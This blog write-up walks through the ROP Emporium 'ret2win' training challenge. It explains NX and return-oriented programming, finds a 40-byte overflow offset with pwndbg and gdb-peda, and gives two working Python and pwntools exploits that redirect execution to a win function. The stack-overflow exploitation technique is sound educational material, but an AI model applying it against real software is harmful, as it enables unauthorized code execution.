ROP Emporium - ret2win


Over the past couple of week I've set myself the goal of learning how Return Oriented Programming (ROP) really works. Coincidentally, over at Hack the Box there have recently been multiple instances where one needed to exploit a binary using ROP. Whilst doing some research on the topic I ran into ROP Emporium and this has proven to be very valuable resource. This site hosts eight challenges with an increasing level of difficulty and along the way it touches upon various concepts related to ROP and binary exploitation. Note that the challenges use Linux x86/x86_64 binaries and the ret2csu is GLIBC-specific, but the general concepts apply to other systems and architectures too.

Over the coming time I will work out the notes I have taken while working on the 64-bit assignments and post the write-ups here.

So let's get started with the first assignment, ret2win.

Introducing the basics of NX and ROP

First let's see if this binary was compiled with NX (aka W^X aka DEP) enabled, which is indeed the case:

$ rabin2 -I ret2win | grep ^nx
nx       true

So this means that if we hit a buffer overflow we cannot simply push shellcode onto the stack and have the CPU execute our code from there. NX means that memory (the stack is essentially just another memory location) will be mapped as non-executable. So if we attempt to divert the execution flow to a location that the process (and thus by extension the processor too) has mapped as non-executable, we get a segmentation fault. More information on this topic can be found on Wikipedia.

The whole point of Return Oriented Programming is to circumvent NX by diverting the execution flow to pieces of code that already exist in the address space of the program. As such they are valid code and mapped into memory regions marked as executable. There are several requirements these "pieces of code" must satisfy in order to become useable. The specific depend on the computation you want them to perform, but all of them must return in one way or another.

What this means is that after performing some computations the execution flow comes back to us and we dispatch it again to perform another computation. Much like regular function calls in a conventional programming environment, except for the fact that these little pieces of code (commonly known as gadgets) are already present in the program or libraries it has loaded!

If you picture a program's address space as jigsaw puzzle that should represent the picture of a cat chasing a laser pointer, then the individual puzzle pieces would be the gadgets. Normally you would put the pieces in the right place and recreate the original image, this would represent the normal execution flow of a program. With ROP however, you're reusing all the pieces that are given to you and rearrange them in ways the original creators never intended, but if the pieces fit (the gadgets return) then sure enough you can create a picture of a rhino (spawn a shell). In fact, any sufficiently large binary contains enough gadgets to perform any arbitrary computation. So the possibilities of ROP what one can achieve with a ROP chain (series of gadgets) are endless. The ROP chain is created by appending the addresses of gadgets onto the stack along with any arguments that are to be used.

So consider ROP gadgets to be the jigsaw puzzle pieces you can use to program a weird machine. Please refer to these two videos (part one and part two) by LiveOverflow where the concepts of ROP and weird machines are explained

Exploring the binary

With the basics of ROP and NX out of the way, let's look at the ret2win challenge again:

Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

It's good practise to see which protection mechanisms are enabled for this binary. We already determined that NX is in effect, but there may be others:

jasper@ropper:~/ropemporium/ret2win$ checksec ret2win
[*] '/home/jasper/ropemporium/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Because PIE isn't enabled the binary will be loaded at a fixed location into memory (0x400000).

In order to complete this challenge we need to call a specific function, looking at the functions in the binary we can spot two function that stand out:

$ rabin2 -qs ret2win | grep -ve imp -e ' 0 '
0x00601088 1 completed.7585
0x004007b5 92 pwnme
0x00400811 32 ret2win
0x004008b0 2 __libc_csu_fini
0x00601060 8 stdout@@GLIBC_2.2.5
0x00601070 8 stdin@@GLIBC_2.2.5
0x004008c0 4 _IO_stdin_used
0x00400840 101 __libc_csu_init
0x00400650 42 _start
0x00400746 111 main
0x00601080 8 stderr@@GLIBC_2.2.5

pwnme and ret2win deserve a closer look. Furthermore, it's always useful to look at the recognisable strings inside a binary. To locate strings inside the binary the standard strings command works, but rabin2 works a lot better at finding actual strings of meaningful data rather than "anything that represents a printable character":

$ rabin2 -z ret2win
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008c8 0x004008c8  23  24 (.rodata) ascii ret2win by ROP Emporium
001 0x000008e0 0x004008e0   7   8 (.rodata) ascii 64bits\n
002 0x000008e8 0x004008e8   8   9 (.rodata) ascii \nExiting
003 0x000008f8 0x004008f8 125 126 (.rodata) ascii For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?
004 0x00000978 0x00400978 100 101 (.rodata) ascii You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n
005 0x000009e0 0x004009e0  28  29 (.rodata) ascii Thank you! Here's your flag:
006 0x000009fd 0x004009fd  17  18 (.rodata) ascii /bin/cat flag.txt

Crashing the binary

I've previously used gdb-peda during SLAE64, so I've wanted to give pwndbg a try with this challenge.

Note that the ret2win() function is located at 0x400811 in the binary, which given the type and name of the exercise will very likely be our target. What we need to do will be to cause a buffer overflow and overwrite the saved return address with the address of ret2win and force execution to proceed at that location in order to print the flag.

First generate a pattern to determine the size of the overflow; from pwndbg:

pwndbg> cyclic  50 -n 8
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
pwndbg>

I'm using 8 as the subpattern length since we're dealing with a 64-bit binary.

Now invoke the binary again with run from gdb and pass it the output above. In the DISASM view of pwndbg we see:

 ► 0x400810 <pwnme+91>    ret    <0x6161616161616166>

if we feed the address to cyclic:

pwndbg> cyclic -n 8 -l 0x6161616161616166
40
pwndbg>

So we know it starts overflowing after 40 bytes.

On x86_64 a faulty address won't be loaded into RIP and it will be on the stack instead. Therefore we need to look at RSP (top of the stack). RIP is the register that contains the instruction pointer (R is just a prefix in the x86_64 register naming convention, just like E in x86) and thus it is the Program Counter.

Alternatively we could have gotten the value from there (0:0000│ rsp 0x7fffffffe3a8 ◂— 'faaaaaaag'), trimmed the string to 8 bytes and feed that to cyclic:

pwndbg> cyclic -n 8 -l faaaaaaa
40
pwndbg>

Reproducing the previous with gdb-peda would be:

gdb-peda$ pattern create 60 input
Writing pattern of 60 chars to filename "input"
gdb-peda$ run < input
Starting program: /home/jasper/ropemporium/ret2win/ret2win < input
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe380 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBX: 0x0
RCX: 0xfbad2088
RDX: 0x7fffffffe380 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RSI: 0x7ffff7fbf590 --> 0x0
RDI: 0x7fffffffe381 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe3a8 ("AA0AAFAAb")
RIP: 0x400810 (<pwnme+91>:      ret)
R8 : 0x0
R9 : 0x63 ('c')
R10: 0x7ffff7fbcca0 --> 0x603260 --> 0x0
R11: 0x246
R12: 0x400650 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe490 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400809 <pwnme+84>: call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>: nop
   0x40080f <pwnme+90>: leave
=> 0x400810 <pwnme+91>: ret
   0x400811 <ret2win>:  push   rbp
   0x400812 <ret2win+1>:        mov    rbp,rsp
   0x400815 <ret2win+4>:        mov    edi,0x4009e0
   0x40081a <ret2win+9>:        mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3a8 ("AA0AAFAAb")
0008| 0x7fffffffe3b0 --> 0x400062 --> 0x1f8000000000000
0016| 0x7fffffffe3b8 --> 0x7ffff7dfeb6b (<__libc_start_main+235>:       mov    edi,eax)
0024| 0x7fffffffe3c0 --> 0x0
0032| 0x7fffffffe3c8 --> 0x7fffffffe498 --> 0x7fffffffe6f3 ("/home/jasper/ropemporium/ret2win/ret2win")
0040| 0x7fffffffe3d0 --> 0x100040000
0048| 0x7fffffffe3d8 --> 0x400746 (<main>:      push   rbp)
0056| 0x7fffffffe3e0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400810 in pwnme ()
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RAX] --> offset 0 - size ~49
[RDX] --> offset 0 - size ~49
[RDI] --> offset 1 - size ~48
[RSP] --> offset 40 - size ~9
Pattern buffer found at:
0x00602260 : offset    0 - size   60 ([heap])
0x00007fffffffe380 : offset    0 - size   49 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007ffff7fbca18 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca20 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca28 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca30 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca38 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007fffffffe190 : 0x00602260 ($sp + -0x218 [-134 dwords])
0x00007fffffffb760 : 0x00007fffffffe380 ($sp + -0x2c48 [-2834 dwords])
0x00007fffffffe2f0 : 0x00007fffffffe380 ($sp + -0xb8 [-46 dwords])
0x00007fffffffe308 : 0x00007fffffffe380 ($sp + -0xa0 [-40 dwords])
0x00007fffffffe338 : 0x00007fffffffe380 ($sp + -0x70 [-28 dwords])
gdb-peda$

From the output above we see that 9 bytes of the pattern were found in RSP at an offset of 40 bytes.

Exploiting the binary

To recap what I'm trying to do here is to overflow the buffer with 40 bytes of padding and add the address of the function after the buffer. This address then ends up overwriting the return pointer and when pwnme returns it returns into ret2win().

This is where things got a bit tricky, because my initial attempt at exploiting was to craft a buffer like this, because 0x400811 is where ret2win() is located:

buffer = 'A' * 40
buffer += struct.pack('<Q', 0x00400811)

The binary segfaulted but got no flag. Eventually I realised that the address is misaligned and I tried adding 1 byte to the address so that the stack is less misaligned and suddenly it worked! This skips the push rbp instruction but in our case that's fine because we're not interested in correctly returning after ret2win has ran.

So our simple exploits looks like this:

#!/usr/bin/env python

import struct

buffer = 'A' * 40
buffer += struct.pack('<Q', 0x00400812)

print(buffer)

And when we run it we're greated with the flag!

$ python2 /tmp/exploit.py | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
$

While working on ROPemporium I want to pickup some knowledge on pwntools without "cheating" so I wouldn't use any of the automatic functionality of findings gadgets and locating symbols.

The exploit with pwntools then became:

#!/usr/bin/env python
#
# Exploit for ret2win (64-bit)
# https://ropemporium.com/challenge/ret2win.html

from pwn import *

def exploit():
    context(arch='x86_64', os='linux')

    # Start a new local process
    r2w = process('./ret2win')

    # Wait until it prints the prompt
    r2w.recvuntil('> ', drop=True)

    r2w.send('A' * 40)
    # Address of ret2win plus one byte.
    # This way we don't end up with a misaligned stack.
    r2w.sendline(p64(0x400812))

    # Now print the flag back to the user
    print(r2w.recv())

if __name__ == '__main__':
    exploit()

As I progress through the challenges the exploits will become more complex and for this particular instance pwntools is clearly overkill, however it makes sense to start simple. All in all this was a very gentle introduction to binary exploitation without an executable stack. The next challenge, split, will be a little harder and we'll use our first gadget.